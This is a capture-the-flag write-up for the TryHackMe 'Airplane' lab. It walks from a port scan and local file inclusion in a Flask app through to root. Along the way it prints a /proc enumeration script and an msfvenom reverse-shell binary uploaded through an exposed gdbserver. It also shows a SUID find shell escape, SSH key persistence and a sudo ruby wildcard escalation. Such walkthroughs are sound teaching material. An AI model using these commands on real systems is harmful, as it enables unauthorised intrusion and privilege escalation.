Unfortunately, a service and default script scan does not tell us what is behind 6048. At 22, it is OpenSSH 8.2p1, and at port 8000, we are dealing with a Python Werkzeug web server.
╭─xb0b@parrot~/Documents/tryhackme/airplane╰─➤ $ nmap-sT-sV-sC-p22,6048,8000airplane.thm-T4StartingNmap7.94SVN ( https://nmap.org ) at 2024-06-07 20:04 CESTNmapscanreportforairplane.thm (10.10.196.89)Hostisup (0.12s latency).PORTSTATESERVICEVERSION22/tcpopensshOpenSSH8.2p1Ubuntu4ubuntu0.11 (Ubuntu Linux; protocol2.0)|ssh-hostkey:|3072b8:64:f7:a9:df:29:3a:b5:8a:58:ff:84:7c:1f:1a:b7 (RSA)|256ad:61:3e:c7:10:32:aa:f1:f2:28:e2:de:cf:84:de:f0 (ECDSA)|_256a9:d8:49:aa:ee:de:c4:48:32:e4:f1:9e:2a:8a:67:f0 (ED25519)6048/tcpopenx11?8000/tcpopenhttp-altWerkzeug/3.0.2Python/3.8.10|_http-server-header:Werkzeug/3.0.2Python/3.8.10|fingerprint-strings:|FourOhFourRequest:|HTTP/1.1404NOTFOUND|Server:Werkzeug/3.0.2Python/3.8.10|Date:Fri,07Jun202418:04:20GMT|Content-Type:text/html; charset=utf-8|Content-Length:207|Connection:close|<!doctypehtml>|<htmllang=en>|<title>404NotFound</title>|<h1>NotFound</h1>| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|GetRequest:|HTTP/1.1302FOUND|Server:Werkzeug/3.0.2Python/3.8.10|Date:Fri,07Jun202418:04:15GMT|Content-Type:text/html; charset=utf-8|Content-Length:269|Location:http://airplane.thm:8000/?page=index.html|Connection:close|<!doctypehtml>|<htmllang=en>|<title>Redirecting...</title>|<h1>Redirecting...</h1>| <p>You should be redirected automatically to the target URL: <a href="http://airplane.thm:8000/?page=index.html">http://airplane.thm:8000/?page=index.html</a>. If not, click the link.
|Socks5:|<!DOCTYPEHTMLPUBLIC"-//W3C//DTD HTML 4.01//EN"|"http://www.w3.org/TR/html4/strict.dtd">|<html>|<head>|<metahttp-equiv="Content-Type"content="text/html;charset=utf-8">|<title>Errorresponse</title>|</head>|<body>|<h1>Errorresponse</h1>|<p>Errorcode:400</p>|<p>Message:Badrequestsyntax ('| ').</p>|<p>Errorcodeexplanation:HTTPStatus.BAD_REQUEST-Badrequestsyntaxorunsupportedmethod.</p>|</body>|_</html>|http-title:AboutAirplanes|_Requestedresourcewashttp://airplane.thm:8000/?page=index.htmlServicedetectionperformed.Pleasereportanyincorrectresultsathttps://nmap.org/submit/.Nmapdone:1IPaddress (1 hostup) scanned in 174.86 seconds
The first visit to the index page of Endpoint 8000 shows us that only static pages are loaded. This is done via the page parameter http://airplane.thm:8000/?page=index.html. Here we could find an entry via Local File Inclusion.
We start another Gobuster scan and try to find more directories, but only find the route/airplane.
We confirm our assumption about LFI. We can include the file /etc/passwd, which is downloaded directly. When accessing files to which we are not authorized, we receive an internal server error. Because the files are downloaded directly, we probably do not have the possibility of log file poisoning this time.
Unfortunately, there isn't anything more. The app itself just provides the index and airplane page, and it's vulnerable to LFI.
╭─xb0b@parrot~/Documents/tryhackme/airplane╰─➤ $ catapp.pyfromflaskimportFlask,send_file,redirect,render_template,requestimportos.pathapp=Flask(__name__)@app.route('/')defindex():if'page'inrequest.args:page='static/'+request.args.get('page')ifos.path.isfile(page):resp=send_file(page)resp.direct_passthrough=Falseifos.path.getsize(page) == 0:resp.headers["Content-Length"]=str(len(resp.get_data()))returnresp else:return"Page not found" else:returnredirect('http://airplane.thm:8000/?page=index.html',code=302) @app.route('/airplane')defairplane():returnrender_template('airplane.html')if__name__=='__main__':app.run(host='0.0.0.0',port=8000)%
Next, we probe /proc/[pid]/cmdline, to investigate what might be running on port 6048. /proc/[pid]/cmdline is a file in the Linux proc file system that contains the command-line arguments used to start the process with the specified process ID (PID). This can either be achieved by FuFF or a custom script fetching each possible ID. If the port is used as a parameter, we might be able to identify what is running on 6048.
The following show cases a script to fetch the first 1000 pids.
enum-cmdline.py
import requestsfor i inrange(1, 1001):print(f"\r{i}", end="", flush=True) url =f"http://airplane.thm:8000/?page=../../../../../proc/{i}/cmdline" response = requests.get(url)if response.status_code ==200: content = response.textif'Page not found'notin content and content:print(f"\r/proc/{i}/cmdline: {content}")
╭─xb0b@parrot~/Documents/tryhackme/airplane╰─➤ $ catenum-cmdline.pyimportrequestsfor i inrange(1,1001):print(f"\r{i}",end="",flush=True)url=f"http://airplane.thm:8000/?page=../../../../../proc/{i}/cmdline"response=requests.get(url)ifresponse.status_code==200:content=response.textif'Page not found'notincontentandcontent:print(f"\r/proc/{i}/cmdline: {content}")╭─xb0b@parrot~/Documents/tryhackme/airplane╰─➤ $ pythonenum-cmdline.py/proc/1/cmdline:/sbin/initsplash.../proc/532/cmdline:/usr/sbin/NetworkManager--no-daemon/proc/536/cmdline:/usr/bin/gdbserver0.0.0.0:6048airplane/proc/539/cmdline:/usr/bin/python3app.py
Shell as hudson
With the information we have gathered so far we should be able to get inital foothold. Since we know a gdbserver is running in the background, we can research how to use it to our advantage, for example to obtain a reverse shell. HackTricks has a great resource on that topic and provide step by step commands to upload and execute a reverse shell using a gdb server:
The following is an example provided by HackTricks.
# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf
chmod +x binary.elf
gdb binary.elf
# Set remote debuger target
target extended-remote 10.10.10.11:1337
# Upload elf file
remote put binary.elf binary.elf
# Set remote executable file
set remote exec-file /home/user/binary.elf
# Execute reverse shell executable
run
# You should get your reverse-shell
We create the reverse shell binary using msfvenom.
We run gbd on our local binary and start a remote debugging connection via target extended-remote 10.10.242.124:6048. Then we copy our binary to /home/hudson/binary.elf via remote put binary.elf /home/hudson/binary.elf and execute it set remote exec-file /home/hudson/binary.elfrun.
╭─xb0b@parrot~/Documents/tryhackme/airplane╰─➤ $ gdbbinary.elf130↵GNUgdb (Debian 13.1-3) 13.1Copyright (C) 2023 Free Software Foundation, Inc.LicenseGPLv3+:GNUGPLversion3orlater<http://gnu.org/licenses/gpl.html>Thisisfreesoftware:youarefreetochangeandredistributeit.ThereisNOWARRANTY,totheextentpermittedbylaw.Type"show copying"and"show warranty"fordetails.ThisGDBwasconfiguredas"x86_64-linux-gnu".Type"show configuration"forconfigurationdetails.Forbugreportinginstructions,pleasesee:<https://www.gnu.org/software/gdb/bugs/>.FindtheGDBmanualandotherdocumentationresourcesonlineat:<http://www.gnu.org/software/gdb/documentation/>.Forhelp,type"help".Type"apropos word"tosearchforcommandsrelatedto"word"...GEFforlinuxready,type`gef' to start, `gef config'toconfigure88commandsloadedand5functionsaddedforGDB13.1in0.00msusingPythonengine3.11Readingsymbolsfrombinary.elf...(Nodebuggingsymbolsfoundinbinary.elf)gef➤targetextended-remote10.10.242.124:6048Remotedebuggingusing10.10.242.124:6048gef➤remoteputbinary.elf/home/hudson/binary.elfSuccessfullysentfile "binary.elf".gef➤setremoteexec-file/home/hudson/binary.elfgef➤runStartingprogram:/home/xb0b/Documents/tryhackme/airplane/binary.elfReading/usr/lib/debug/.build-id/e9/8c2a320466a026c0a0236da38a5156f9b8cb54.debugfromremotetarget...warning:Filetransfersfromremotetargetscanbeslow.Use "set sysroot" toaccessfileslocallyinstead.[Detaching after fork from child process 117423][Inferior 1 (process 117422) exited normally]
We get a connection back and are the user hudson. Next, we upgrade our reverse shell. We cannot find the first user flag here, so we have to move on to the other user.
After running LinPEAS we find the SUID binary find, owned by carlos.
╔════════════════════════════════════╗
══════════════════════╣ Files with Interesting Permissions ╠══════════════════════
╚════════════════════════════════════╝
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
-rwsr-xr-x 1 carlos carlos 313K Feb 18 2020 /usr/bin/find
Using the provided payload from GTFOBins...
... we are able to escalate to carlos and find the first flag in the home directory of the user.
find . -exec /bin/sh -p \; -quit
Shell as root
We can now add a public RSA key to the /home/carlos/.ssh/authorized_keys file to establish a more stable shell using ssh. We create a new key pair using ssh-keygen.
After applying the correct permission, we are able to use our private key to log in as carlos to the machine. Next, we see we are able to run /usr/bin/ruby /root/*.rb using sudo without the need to provide a password. Here, we have the possibility to spawn a root shell by executing an .rb file that does exactly that. Since we have a wildcard in the path, we can place our script outside of root and still execute it.
We craft a script to spawn a bash. We place it in/home/carlos/evil.rb and call it via sudo /usr/bin/ruby /root/../home/carlos/evil.rb. We are root and find the last flag in /root/root.txt.